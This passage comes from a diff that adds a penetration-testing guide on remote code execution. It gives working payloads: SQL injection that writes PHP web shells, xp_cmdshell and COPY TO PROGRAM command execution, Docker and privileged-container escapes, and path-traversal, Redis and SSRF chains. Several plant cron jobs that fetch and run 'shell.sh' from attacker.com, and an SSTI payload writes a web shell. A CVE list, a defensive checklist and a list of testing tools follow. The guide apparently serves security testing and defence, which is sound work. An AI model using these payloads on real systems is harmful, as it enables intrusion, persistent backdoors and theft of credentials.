+ exiftool -config exploit.config '-HasselbladExif<=exploit.jpg' malicious.jpg
838
+ ```
839
+
840
+ ### SQL Injection → RCE
841
+
842
+ **MySQL:**
843
+
844
+ ```sql
845
+ -- Write web shell
846
+ SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
847
+
848
+ -- Read file
849
+ LOAD_FILE('/etc/passwd');
850
+
851
+ -- UDF exploitation
852
+ CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
853
+ SELECT sys_exec('whoami');
854
+ ```
855
+
856
+ **PostgreSQL:**
857
+
858
+ ```sql
859
+ -- COPY TO PROGRAM (9.3+)
860
+ COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/beacon';
861
+
862
+ -- Large Object + lo_export
863
+ SELECT lo_create(-1);
864
+ INSERT INTO pg_largeobject VALUES (-1, 0, decode('<?php system($_GET["c"]); ?>', 'base64'));
865
+ SELECT lo_export(-1, '/var/www/html/shell.php');
866
+ ```
867
+
868
+ **MSSQL:**
869
+
870
+ ```sql
871
+ -- xp_cmdshell
872
+ EXEC sp_configure 'show advanced options', 1;
873
+ RECONFIGURE;
874
+ EXEC sp_configure 'xp_cmdshell', 1;
875
+ RECONFIGURE;
876
+ EXEC xp_cmdshell 'whoami';
877
+
878
+ -- OLE Automation
879
+ EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;
880
+ EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd /c whoami';
881
+ ```
882
+
883
+ ### Container Escape → RCE
884
+
885
+ **Docker Socket Exposure:**
886
+
887
+ ```bash
888
+ # If /var/run/docker.sock is mounted
889
+ docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh
890
+ ```
891
+
892
+ **Privileged Container:**
893
+
894
+ ```bash
895
+ # From privileged container
896
+ mkdir /tmp/exploit
897
+ mount /dev/sda1 /tmp/exploit
898
+ chroot /tmp/exploit sh
899
+ ```
900
+
901
+ **Kernel Exploits:**
902
+
903
+ - Dirty COW (CVE-2016-5195)
904
+ - DirtyPipe (CVE-2022-0847)
905
+ - DirtyCred (CVE-2022-2588)
906
+
907
+ ## Chaining and Escalation
908
+
909
+ ### 1. Path Traversal → RCE
910
+
911
+ ```bash
912
+ # Overwrite SSH authorized_keys
913
+ PUT /upload?path=../../.ssh/authorized_keys
914
+
915
+ # Overwrite cron job
916
+ PUT /upload?path=../../etc/cron.d/backdoor
917
+ Content: * * * * * root curl http://attacker.com/shell.sh | bash
918
+
919
+ # Overwrite bash profile
920
+ PUT /upload?path=../../.bashrc
921
+
922
+ # Overwrite PHP auto-prepend
923
+ PUT /upload?path=../../.user.ini
924
+ Content: auto_prepend_file=/tmp/shell.php
925
+ ```
926
+
927
+ ### 2. SSRF → RCE
928
+
929
+ ```bash
930
+ # SSRF to cloud metadata → IAM creds
931
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
932
+
933
+ # SSRF to internal admin → RCE
934
+ http://internal:8080/admin/exec?cmd=whoami
935
+
936
+ # SSRF to Redis → cron job
937
+ http://localhost:6379
938
+ CONFIG SET dir /etc/cron.d/
939
+ CONFIG SET dbfilename root
940
+ SET 1 "* * * * * root curl http://attacker.com/shell.sh | bash"
941
+ SAVE
942
+ ```
943
+
944
+ ### 3. XXE → RCE
945
+
946
+ ```xml
947
+ # XXE + PHP expect wrapper
948
+ <!DOCTYPE foo [
949
+ <!ENTITY xxe SYSTEM "expect://whoami">
950
+ ]>
951
+ <root>&xxe;</root>
952
+
953
+ # XXE + JAR protocol (Java)
954
+ <!DOCTYPE foo [
955
+ <!ENTITY xxe SYSTEM "jar:http://attacker.com/malicious.jar!/payload.class">
956
+ ]>
957
+ ```
958
+
959
+ ### 4. SSTI → File Write → RCE
960
+
961
+ ```python
962
+ # Jinja2 write web shell
963
+ {{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/shell.php','w').write('<?php system($_GET["c"]); ?>')}}
964
+ ```
965
+
966
+ ## Real-World CVEs and Cases
967
+
968
+ ### Critical RCE Vulnerabilities
969
+
970
+ 1. **CVE-2021-44228 - Log4Shell (Apache Log4j)**:
971
+ - JNDI injection in logging library
972
+ - Affected: Minecraft, VMware, Cisco, countless others
973
+ - Impact: Unauthenticated RCE on millions of systems
974
+
975
+ 2. **CVE-2022-22965 - Spring4Shell (Spring Framework)**:
976
+ - Class loader manipulation via property binding
977
+ - Impact: RCE on Spring MVC applications
978
+
979
+ 3. **CVE-2021-3129 - Laravel Debug Mode RCE**:
980
+ - Ignition debug page deserialization
981
+ - Impact: Unauthenticated RCE on Laravel apps with debug enabled
982
+
983
+ 4. **CVE-2019-0193 - Apache Solr RCE**:
984
+ - Velocity template injection
985
+ - Impact: Unauthenticated RCE on Solr instances
986
+
987
+ 5. **CVE-2017-5638 - Apache Struts2 RCE**:
988
+ - OGNL injection via Content-Type header
989
+ - Impact: Led to Equifax breach affecting 147M people
990
+
991
+ 6. **CVE-2020-1938 - Ghostcat (Apache Tomcat)**:
992
+ - AJP protocol file read/inclusion
993
+ - Impact: RCE via arbitrary file write
994
+
995
+ 7. **CVE-2022-26134 - Confluence RCE**:
996
+ - OGNL injection in Confluence Server/Data Center
997
+ - Impact: Unauthenticated RCE
998
+
999
+ 8. **CVE-2018-1002200 - Kubernetes Arbitrary File Overwrite (Zip Slip)**:
1000
+ - Path traversal in tar/zip extraction
1001
+ - Impact: Container escape via kubectl cp
1002
+
1003
+ 9. **CVE-2016-3714 - ImageTragick (ImageMagick)**:
1004
+ - Command injection via image processing
1005
+ - Impact: RCE on image upload features
1006
+
1007
+ 10. **CVE-2021-22204 - ExifTool RCE**:
1008
+ - DjVu metadata command injection
1009
+ - Impact: RCE via image metadata parsing
1010
+
1011
+ ### Impact Categories
1012
+
1013
+ - **Critical**: Unauthenticated RCE on internet-facing services
1014
+ - **High**: Authenticated RCE or unauthenticated RCE requiring interaction
1015
+ - **Medium**: RCE requiring specific configuration or low-privilege authentication
1016
+ - **Low**: RCE requiring admin access or highly specific conditions
1017
+
1018
+ ## Remediation Recommendations
1019
+
1020
+ Avoid inserting user input into code that gets evaluated. Also treat user uploaded files as untrusted, and avoid including file based on user input.
1021
+
1022
+ ### Defensive Checklist
1023
+
1024
+ - **Eliminate Dangerous Functions**: Remove `eval`, `exec`, `Function`, `subprocess.shell=True`, `Runtime.exec()` where possible
1025
+ - **Parameterized Execution**: Use parameterized/array-based process execution (`shell=False`); escape+allowlist arguments
1026
+ - **Template Engine Hardening**: Disable dangerous functions/tags; enable sandbox mode; don't accept user templates
1027
+ - **Strict Upload Validation**:
1028
+ - Enforce content-type AND extension checks
1029
+ - Verify via magic bytes (file signature)
1030
+ - Re-encode/process files (strip metadata with exiftool -all=)
1031
+ - Store uploads outside web root
1032
+ - **Sandbox File Processing**:
1033
+ - Process uploads in isolated containers/VMs
1034
+ - Use seccomp, AppArmor, SELinux restrictions
1035
+ - Run as non-root with minimal permissions
1036
+ - No network access during processing
1037
+ - Delay publish until validation completes
1038
+ - **Safe Deserialization**:
1039
+ - Prefer JSON/XML with strict schemas
1040
+ - Sign and verify serialized data
1041
+ - Avoid `pickle`, `marshal`, native object graphs
1042
+ - Use allowlists for permitted classes
1043
+ - **Dependency Management**:
1044
+ - Keep libraries updated (ImageMagick, ExifTool, FFmpeg, Log4j, etc.)
1045
+ - Pin versions and audit dependencies
1046
+ - Subscribe to security advisories
1047
+ - Use tools: `npm audit`, `pip-audit`, `OWASP Dependency-Check`
1048
+ - **Network Segmentation**:
1049
+ - Implement egress filtering to prevent OAST callbacks
1050
+ - Restrict outbound connections from app servers
1051
+ - Monitor DNS queries for suspicious patterns
1052
+ - **WAF/RASP**:
1053
+ - Deploy Web Application Firewall with RCE signatures
1054
+ - Consider Runtime Application Self-Protection (RASP)
1055
+ - Log and alert on suspicious payloads
1056
+ - **Log4Shell Specific**:
1057
+ - Update to Log4j 2.17.1+
1058
+ - Set `log4j2.formatMsgNoLookups=true`
1059
+ - Remove JndiLookup class from classpath
1060
+ - Monitor for obfuscated JNDI patterns
1061
+
1062
+ ### Testing Tools
1063
+
1064
+ - **SSTI**: `tplmap`, `SSTImap`
1065
+ - **Deserialization**: `ysoserial`, `ysoserial.net`, `marshalsec`
1066
+ - **Command Injection**: Burp Intruder, `commix`
1067
+ - **General**: Burp ActiveScan, `nuclei` templates, `jaeles` signatures
1068
+ - **OAST**: Burp Collaborator, Interactsh, canarytokens.org
1069
+